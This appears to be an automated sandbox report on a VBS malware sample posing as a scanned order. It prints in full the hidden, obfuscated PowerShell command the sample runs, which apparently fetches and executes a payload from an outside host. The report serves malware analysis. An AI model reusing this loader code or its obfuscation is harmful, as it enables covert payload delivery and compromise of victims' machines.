Analysis
- max time kernel
142s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
24/06/2024, 15:54
General
- Target Scanned_23_6_2024_Halwany_New_Order.vbs
- Size 9KB
- Sample240624-tb73gstdqr
- SHA256 8e0046c2970cc659c2c928a72a71256ce54275281aba6ee2ea1f0d90131201c3
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scanned_23_6_2024_Halwany_New_Order.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden "cls;write 'kamferolien Konfusionens troskabslftet Indenrigshandler Indlemmelsen Citadel Tallium parallelogrammets Knlang Unsentenced';$Shapingly = 1;Function Uldgarners($Enerverede133){$Taklingers128=$Enerverede133.Length-$Shapingly;$Skruestiksbnk236='SUBSTRIN';$Skruestiksbnk236+='G';For( $Dumpningerne=4;$Dumpningerne -lt $Taklingers128;$Dumpningerne+=5){$kamferolien+=$Enerverede133.$Skruestiksbnk236.Invoke( $Dumpningerne, $Shapingly);}$kamferolien;}function Ublandet($Cockfights){ & ($Carpet) ($Cockfights);}$Interfiling=Uldgarners 'Ufr MRhino akizSpo.iOut lCrillSolaaExps/Dolm5Bore.Shee0Butt Arc(KadaWSta.iCentn .ugdHae,oVan wInshsCa f Gla.NBallTrea, Reup1 Mul0Avit.Cont0Xeno;Syri Taa,WFe.hiAu.inU cu6Surm4 Mot;Ga.f ta oxUnpr6Labi4Impa;P,en Commrra iv.est: Pee1Hart2Raas1Jou . pre0Spyd)Stri f,skGTsnieLagrcLnrekLum.oKlod/Iri.2Bete0T ar1Ride0K,up0 .lu1Caly0Roul1Unde N.niFBiopi wir G ye elfkor.oGro.xAnk,/ Ate1Trll2 ,ot1Oxid.F,rs0 Bim ';$Avianizes172=Uldgarners 'SubpULi.hsHel.eDarkrA.ti- OveA AmbgForleJenmnFoe.tSupe ';$Indlemmelsen=Uldgarners 'Plaih,andt La tMetap Rad:Urm,/Luxm/ SmidDecen.nopvT kskMoto1 .pp.DubliFibrnMultf.armo Def/TilrwFygnpbort-DisdaNoncdSubjmOrdiiMorgnGri,/AcceCSyttoEgnemSatytHjlpiSemiaEnsinQua . GareGranmUnmezFej. ';$Hkker=Uldgarners 'Anta> Pla ';$Carpet=Uldgarners 'Fde.iLooseS lfx Pta ';$Rosehiller='parallelogrammets';$Uncleavable = Uldgarners 'anabeTo.mc .orh.nseo Cho Tran% israpolapDep pCribd QuiaDis.tels.aSu f%Xylo\TegnOMaddeOvermHjemm ybdePrdi.Re,eSjuicpUndeowing Pap&Leat&Selv AndeTri,cBeskhSteroMo.d AfstTusc ';Ublandet (Uldgarners 'Un.n$AdhegSta.lAgaroSnacb PleaT.rkl Ann:D stSStora aznTittcPontt CliiUdtro aadnAcrom ,kyeCatanSkrotSk,r=W.nd( ndac GenmAffldCoat Humd/ E rcSt,r Anac$MacrUVeninBe,ec Coclt lee AfmaUddtv,verahegebA.del Un.ec.lo)Pr.v ');Ublandet (Uldgarners 'Fila$ArabgBookl nimoUdfrbParaa RkelFa.o: GalI U,cnSub,dSulleE.sanBrevrJesyiDomegApersN.crhBrugaPhotn S.rdHaanlDybfePumprUnco= Str$PejlIAfs nUne dsk.olThrue.krimBe.zmChakethyrlCon.sCa.vePimpnSoap.sm.ks digpHydrlCa.ei S.utOver(Chil$U.ulH,ntgkMi.jkAgateVoucrRegi)Disp ');Ublandet (Uldgarners 'Cyke[BullNra keInv,tErst. ,orSRampeBacirCathv apiFixgcTjene tr PsteroYr.eiFounn ,ostBismMAfslaChaunElekaFyldg Soke NatrBalt]D.ce: raf:FlorS Stre BercVetcu Dy.rS,nsi ,detPalpy n.nPgowdr Grao Part P,toKvgecRevao .tolTime P.ts=Surf Ceme[ OveNPyroeStr t dis. St.SAndeerigmcUnjouHngerNavni,angtInd.yStemPU strCo.coIncatImpeoChatc K.noSoublSvarT,ndsyFotop K.ae Va,]Modi: Non:R.seT.verlFrotsKara1Flam2indu ');$Indlemmelsen=$Indenrigshandler[0];$doppelkummel= (Uldgarners 'Of,i$.derg L,gl ammoI,brbUnbra S,al,enk:PhreMwi.do Opvn Heak.ntisB,ut=LingN SpieFa.swBism-,ritOD.smbTilsj ,ooeSc,rc,esitTape klaS WeiyKolosrefut Si,eMo,em oda.UnpeNsh,mePerftBa y. ElmWB speVarebPseuCPrael ForiAmiseTimbnUnf t');$doppelkummel+=$Sanctionment[1];Ublandet ($doppelkummel);Ublandet (Uldgarners 'Tr.n$.aasMKvaroRealn eltkTennsHaml.MocmHBeaceOveraFavod OpeeSkilr unrsCasc[Mind$.pdrAErhvvGut.i.somaMoltnIn,ei.ilmz .rue s isDef 1 G e7Loud2Pio.] .en=ib,p$FladI so nPatrtDomeebes r E pfSaxoiaprolAcriiBeginRo igAnth ');$Kontraktionernes=Uldgarners 'Aare$Hva MKontoU ornFil.kRlins ngr. SkaD undo phewUnqunFalxludfao Fl aKnowdDesuFMutuiMorglHvereC nv(.kue$IndsItjennBeledAttilRajaefolimAflumfokke Dvel RetsSelveJovinHype, Fre$SpreW Tyle .enaMuscsWitco Trun D a)Styr ';$Weason=$Sanctionment[0];Ublandet (Uldgarners 'bar,$ ,ergBlenl FoeoDo ebRkeea TaglN nf:KuldDMiniiSubofSygef ekne VesrSt ieUfe,nDokut Bu,iPreleMisrrDeroiUgenn udgg CloeEluenSl,ms olk=Ra,e(UnreTInqueImmishypet Kol-E.doPTh.raTilbtGasthrou. Repu$ RaaWNonaeRboea Mugslif oS,utnInfe)Ali. ');while (!$Differentieringens) {Ublandet (Uldgarners ' om$Hypogrn nl reeoK ukbTrykaGstgl.ehk:DenaLvowlrAlkaeSegrpn,nur Stuo,ntecMa.neU,prsAllasDispe SworCarbnlandeThyi=Komc$BisstRenorBe,luDomeeKuld ') ;Ublandet $Kontraktionernes;Ublandet (Uldgarners 'BaanSSor tD,praRhetrhjtrt,amm- nnSAmazlA,tieT.ane Fecp Pro Per4Edvi ');Ublandet (Uldgarners ' Tai$BrndgFrikl Frio.nupbA.traF culMono: TaaD N,diSla,fSnudf H.aeStonrBygheOvern dsetEkseiVrdie.axarEkstiPetanpalsgBet eSkrun LomsDisc=Ste (NeopTAnsteConfsPrestEmbr-SulpPK,ola.alit BehhFlov Luny$DoubWSh ee redaOarisGranoPur nFro,).ull ') ;Ublandet (Uldgarners 'Gudb$ u.egHemil La o istbPaaha Be.l Gaz:.vertM sor TusoAcuts frkSttea FacbAsylsAntrl W.tfEnertNuzzeNeoptA.be=Tils$ FungIrrelInspoHaembIndaa ,islHi.l:MicrKSi,uoPr,nn IntfMin,uAn,gsArbeim.llo .eln PugeMilinTyvss Blo+Boyk+Slet% Lak$BygnIUndenBlo dLangeUn tnP,rir.agsiDilug.elmssemihHyalaTropnCh ldAllel O,yeStvnr ary. SyncSympopro u HjenSpndtH in ') ;$Indlemmelsen=$Indenrigshandler[$troskabslftet];}$Korruptionens=298513;$Udskibningshavne=27939;Ublandet (Uldgarners 'Plat$DekogWobbl P aoD.onb,raga Oz.lSpla:W.ipK QuinJunilKrona BaanOrkegHet, Udh=p,op FiskG irdeAntitMacr-Non,Ctougo FornEurytSubfeSeisn.adrtunhu Berg$re.iWKlareIncua.edssVet.oLn.bnFlyg ');Ublandet (Uldgarners 'Forh$MapogChemlBrneoKr,ibRec aRibsl,ubs:Sp,eS.ynda SkdmInk lTr aeprotrRecrgNedfiM crrD,aweViderSelei,uffnUndegPart Matc=Me,a Doct[ enuS StryFejlsForptPis eNa.um .ea.SporCPrecoenganHk.evAfreeTjrer ne t en].lae:Tosd: U.dF Fa rSocioAxopmStetBO,eraSlitsE,cte.tom6 Roa4 S,eSA titAma,rT,ykiFllen Da.gelec(Unca$ ComKH arn Ov,lIso aMedin Lu,g.chl)Hemp ');Ublandet (Uldgarners 'Arra$Chakg MurlSalvoO,onbSeata deslZ,go:,kreRSkareStornF.ned dioeRe.ojKapieUopsrSkulnRitesfel. Outr=Sl.e Lpla[Mez.SLugtyUnwosYurttChr,eBa km for.R.deTFilmeScenxSenst Bor.BjrnEFyrsnbruncor.io AradTamaiAntinLodogErik]Craz:Unpo:GaspAvalgSInddC C,aIS,hyI Ord.CharGSukke oshtDechS .intUnderFedti,ragn Grog ut(Wigh$Tit SMaryaKoremTe rlSi ae Kr.r GnagAltei Skrr Syne TryrPletiGearn RungKaka) Akt ');Ublandet (Uldgarners 'B,kt$ ThigCo.bl Belo,eddb bela orfl ham:Tys,SSv.nn AmaeBelamHearaDeren GladUnd eVinonBlodsInca=hug.$imp,R Mode pernKagedUrbae TrajRustemacrr UdanAlexsreta.MisbsSublu ResbPhals GentKoncrDe,niBi.tnKammgImpe(Fris$ takKB lioOmberWestrUnfruvideptucst agiiLkkeo irsn CaceSilen,nsisBlo,, erp$RibbUPrisdStj sSp,kkUni iP inbD honExemi Ovend,wagBrods,warhL.njaElpavGundnCente,ros)Valf ');Ublandet $Snemandens;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Oemme.Spo && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_11zo3lpc.r2c.ps1
memory/3164-0-0x00007FF9D55F3000-0x00007FF9D55F5000-memory.dmp
memory/3164-6-0x0000029DEA140000-0x0000029DEA162000-memory.dmp
memory/3164-11-0x00007FF9D55F0000-0x00007FF9D60B1000-memory.dmp
memory/3164-12-0x00007FF9D55F0000-0x00007FF9D60B1000-memory.dmp
memory/3164-13-0x00007FF9D55F0000-0x00007FF9D60B1000-memory.dmp
memory/3164-14-0x00007FF9D55F3000-0x00007FF9D55F5000-memory.dmp
memory/3164-15-0x00007FF9D55F0000-0x00007FF9D60B1000-memory.dmp
memory/3164-16-0x00007FF9D55F0000-0x00007FF9D60B1000-memory.dmp